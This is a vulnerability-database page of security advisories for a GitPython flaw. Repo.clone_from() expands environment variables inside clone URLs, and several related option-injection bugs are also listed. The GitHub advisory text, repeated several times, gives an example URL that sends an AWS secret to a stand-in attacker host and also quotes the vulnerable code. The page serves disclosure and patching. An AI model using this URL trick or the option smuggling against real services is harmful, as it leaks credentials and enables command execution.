CVE-2026-67322
GitPython before 3.1.52 Environment Variable Exfiltration via clone_from
GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.7
GitPython before 3.1.52 Environment Variable Exfiltration via clone_from
GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.
- Record
CVE-2026-67322- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-200
- Updated
- 2026-11-02
EUVDEUVD-2026-51855
8.7
GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.
- Record
EUVD-2026-51855- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-m4f3-g4cq-hqrx
8.7
Duplicate Advisory: GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-rwj8-pgh3-r573. This link is maintained to preserve external references.
Original Description
GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.
- Record
GHSA-m4f3-g4cq-hqrx- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-200
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-rwj8-pgh3-r573
7.5
GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL
Summary
Repo.clone_from() passes the caller-supplied remote URL through Git.polish_url(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clone_from() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN with no precondition beyond the ability to submit a clone URL.
Details
Affected versions: gitpython (PyPI) — all releases up to and including 3.1.50 (latest at time of reporting); confirmed present on the main branch.
Git.polish_url() unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:
git/cmd.py (v3.1.50), lines 907–925:
@classmethod
def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:
"""Remove any backslashes from URLs to be written in config files.
...
"""
if is_cygwin is None:
is_cygwin = cls.is_cygwin()
if is_cygwin:
url = cygpath(url)
else:
url = os.path.expandvars(url) # <-- line 921
if url.startswith("~"):
url = os.path.expanduser(url)
url = url.replace("\\\\", "\\").replace("\\", "/")
return url
Repo._clone() — reached from the public Repo.clone_from() (git/repo/base.py:1520) and Repo.clone() — runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to the git clone subprocess:
git/repo/base.py (v3.1.50), lines 1407–1418:
if not allow_unsafe_protocols:
Git.check_unsafe_protocols(url)
if not allow_unsafe_options:
Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)
if not allow_unsafe_options and multi:
Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)
proc = git.clone(
multi,
"--",
Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone`
clone_path,
...
)
Because os.path.expandvars() on POSIX substitutes $NAME and ${NAME} with os.environ[NAME] when set (and on Windows additionally %NAME%), an attacker-supplied URL such as:
https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git
is rewritten server-side to embed the literal secret value in the path component, and git clone then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to attacker.example. The clone itself will typically fail, but the secret has already left the server by that point.
polish_url() was written as a local-path normalisation helper (Cygwin path conversion, ~ expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no expand_vars=False opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the clone_from docstring describes url only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument: Repo.__init__ emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", git/repo/base.py:226–231) and offers expand_vars=False. The same treatment is missing for the network-bound clone URL.
Secondary consequence (unsafe-protocol filter bypass). Because check_unsafe_protocols() runs on the pre-expansion URL (line 1408) but…
- Record
GHSA-rwj8-pgh3-r573- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-200, CWE-201
- Updated
- 2026-11-02
NVD
8.7
GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.
- Record
CVE-2026-67322- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-200
- Updated
- 2026-11-02
OSV
8.7
GitPython before 3.1.52 Environment Variable Exfiltration via clone_from
GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.
- Record
CVE-2026-67322- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - Weakness
- CWE-200
- Updated
- 2026-11-02
Show 22 moreShow less
OSVDEBIAN-CVE-2026-67322
8.7
GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.
- Record
DEBIAN-CVE-2026-67322- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVGHSA-m4f3-g4cq-hqrx
8.7
Duplicate Advisory: GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-rwj8-pgh3-r573. This link is maintained to preserve external references.
Original Description
GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.
- Record
GHSA-m4f3-g4cq-hqrx- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-200
- Updated
- 2026-11-02
OSVGHSA-rwj8-pgh3-r573
7.5
GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL
Summary
Repo.clone_from() passes the caller-supplied remote URL through Git.polish_url(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clone_from() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN with no precondition beyond the ability to submit a clone URL.
Details
Affected versions: gitpython (PyPI) — all releases up to and including 3.1.50 (latest at time of reporting); confirmed present on the main branch.
Git.polish_url() unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:
git/cmd.py (v3.1.50), lines 907–925:
@classmethod
def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:
"""Remove any backslashes from URLs to be written in config files.
...
"""
if is_cygwin is None:
is_cygwin = cls.is_cygwin()
if is_cygwin:
url = cygpath(url)
else:
url = os.path.expandvars(url) # <-- line 921
if url.startswith("~"):
url = os.path.expanduser(url)
url = url.replace("\\\\", "\\").replace("\\", "/")
return url
Repo._clone() — reached from the public Repo.clone_from() (git/repo/base.py:1520) and Repo.clone() — runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to the git clone subprocess:
git/repo/base.py (v3.1.50), lines 1407–1418:
if not allow_unsafe_protocols:
Git.check_unsafe_protocols(url)
if not allow_unsafe_options:
Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)
if not allow_unsafe_options and multi:
Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)
proc = git.clone(
multi,
"--",
Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone`
clone_path,
...
)
Because os.path.expandvars() on POSIX substitutes $NAME and ${NAME} with os.environ[NAME] when set (and on Windows additionally %NAME%), an attacker-supplied URL such as:
https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git
is rewritten server-side to embed the literal secret value in the path component, and git clone then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to attacker.example. The clone itself will typically fail, but the secret has already left the server by that point.
polish_url() was written as a local-path normalisation helper (Cygwin path conversion, ~ expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no expand_vars=False opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the clone_from docstring describes url only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument: Repo.__init__ emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", git/repo/base.py:226–231) and offers expand_vars=False. The same treatment is missing for the network-bound clone URL.
Secondary consequence (unsafe-protocol filter bypass). Because check_unsafe_protocols() runs on the pre-expansion URL (line 1408) but…
- Record
GHSA-rwj8-pgh3-r573- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Weakness
- CWE-200, CWE-201
- Updated
- 2026-11-02
OSVOESA-2026-3249
9.3
python-GitPython security update
GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.
Security Fix(es):
GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.(CVE-2026-67322)
GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.(CVE-2026-67323)
GitPython 3.1.50 fails to recognize joined short-option forms such as -u<value> (the short form of --upload-pack=<value>) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u<helper> to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.(CVE-2026-67324)
GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.(CVE-2026-67325)
GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.(CVE-2026-67326)
- Record
OESA-2026-3249- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVOESA-2026-3250
9.3
python-GitPython security update
GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.
Security Fix(es):
GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.(CVE-2026-67322)
GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.(CVE-2026-67323)
GitPython 3.1.50 fails to recognize joined short-option forms such as -u<value> (the short form of --upload-pack=<value>) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u<helper> to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.(CVE-2026-67324)
GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.(CVE-2026-67325)
GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.(CVE-2026-67326)
- Record
OESA-2026-3250- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVOESA-2026-3251
9.3
python-GitPython security update
GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.
Security Fix(es):
GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.(CVE-2026-67322)
GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.(CVE-2026-67323)
GitPython 3.1.50 fails to recognize joined short-option forms such as -u<value> (the short form of --upload-pack=<value>) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u<helper> to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.(CVE-2026-67324)
GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.(CVE-2026-67325)
GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.(CVE-2026-67326)
- Record
OESA-2026-3251- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
OSVPYSEC-2026-3842
7.5
GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL
Summary
Repo.clone_from() passes the caller-supplied remote URL through Git.polish_url(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clone_from() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN with no precondition beyond the ability to submit a clone URL.
Details
Affected versions: gitpython (PyPI) — all releases up to and including 3.1.50 (latest at time of reporting); confirmed present on the main branch.
Git.polish_url() unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:
git/cmd.py (v3.1.50), lines 907–925:
@classmethod
def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:
"""Remove any backslashes from URLs to be written in config files.
...
"""
if is_cygwin is None:
is_cygwin = cls.is_cygwin()
if is_cygwin:
url = cygpath(url)
else:
url = os.path.expandvars(url) # <-- line 921
if url.startswith("~"):
url = os.path.expanduser(url)
url = url.replace("\\\\", "\\").replace("\\", "/")
return url
Repo._clone() — reached from the public Repo.clone_from() (git/repo/base.py:1520) and Repo.clone() — runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to the git clone subprocess:
git/repo/base.py (v3.1.50), lines 1407–1418:
if not allow_unsafe_protocols:
Git.check_unsafe_protocols(url)
if not allow_unsafe_options:
Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)
if not allow_unsafe_options and multi:
Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)
proc = git.clone(
multi,
"--",
Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone`
clone_path,
...
)
Because os.path.expandvars() on POSIX substitutes $NAME and ${NAME} with os.environ[NAME] when set (and on Windows additionally %NAME%), an attacker-supplied URL such as:
https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git
is rewritten server-side to embed the literal secret value in the path component, and git clone then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to attacker.example. The clone itself will typically fail, but the secret has already left the server by that point.
polish_url() was written as a local-path normalisation helper (Cygwin path conversion, ~ expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no expand_vars=False opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the clone_from docstring describes url only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument: Repo.__init__ emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", git/repo/base.py:226–231) and offers expand_vars=False. The same treatment is missing for the network-bound clone URL.
Secondary consequence (unsafe-protocol filter bypass). Because check_unsafe_protocols() runs on the pre-expansion URL (line 1408) but…
- Record
PYSEC-2026-3842- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVRHSA-2026:44416
8.8
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:44416- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:45785
8.8
Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update
- Record
RHSA-2026:45785- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:45940
8.8
Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update
- Record
RHSA-2026:45940- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:59135
8.8
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update
- Record
RHSA-2026:59135- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:59136
8.8
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
- Record
RHSA-2026:59136- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:71113
9.9
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update
- Record
RHSA-2026:71113- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:71114
9.9
Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update
- Record
RHSA-2026:71114- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-67322
8.7
GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.
- Record
UBUNTU-CVE-2026-67322- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVCLSA-2026-1787718591 No score
TuxCare security update for gitpython (11 CVEs)
TuxCare rebuilt gitpython to address 11 CVEs. Fixed in 3.1.31.post10+tuxcare.
- Record
CLSA-2026-1787718591- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:11466-1 No score
python313-GitPython-3.1.58-1.1 on GA media
These are all security issues fixed in the python313-GitPython-3.1.58-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:11466-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:21874-1 No score
Security update for python-GitPython
This update for python-GitPython fixes the following issues:
- CVE-2026-67322: environment-variable exfiltration in
Repo.clone_from()URL via os.path.expandvars() (bsc#1273357). - CVE-2026-67323: unguarded Git options passed as keyword arguments in
Repo.archive()andgit.ls_remote()allow for command injection (bsc#1273358). - CVE-2026-67325: incomplete command injection blocklist fails to account for git's long-option prefix abbreviation feature and allows for bypass (bsc#1273359).
- CVE-2026-67326: failure to validate newline characters in the section parameter of
config_writer()can lead to RCE viacore.hooksPath(bsc#1273364). - CVE-2026-69097: failure to properly escape section names in Git
configfiles allows for injection of arbitrary configuration directives through malicious submodule names and can lead to RCE (bsc#1273414). - CVE-2026-73619: incomplete denylist in the
unsafe_git_archive_optionsguard that omits--add-fileand--add- virtual-fileoptions can lead to arbitrary file reads (bsc#1275755). - CVE-2026-73620: failure to guard Git option forwarding in
IndexFile.checkout()andTagReference.create()can lead to arbitrary file reads and writes (bsc#1275756). - CVE-2026-73621: argument injection in the
Commit.count()method allows for destruction/blanking of arbitrary files (bsc#1275757). - CVE-2026-73622: failure to disable environment variable expansion in
Remote.create()andSubmodule.add()URL handling allows for secret exfiltration via URLs containing variable references (bsc#1275751). - CVE-2026-73623: incomplete denylist in
unsafe_git_clone_optionsthat omits--templateallows for arbitrary command execution (bsc#1275752). - CVE-2026-73624:
Diffable.diffmethod fails to validate git options passed throughkwargs, which can lead to arbitrary file writes (bsc#1275753). - CVE-2026-73625:
check_unsafe_optionsguard bypass via smuggling of git options inside single-characterkwargvalues can lead to arbitrary code execution (bsc#1275754). - CVE-2026-76217: failure to validate options passed to
git rmandgit checkoutcommands inIndexFile.remove()andHead.checkout()can lead to arbitrary file reads (bsc#1275745). - CVE-2026-76218: unguarded git option forwarding in
Repo.initallows for arbitrary command execution (bsc#1275746). - CVE-2026-76219: unguarded
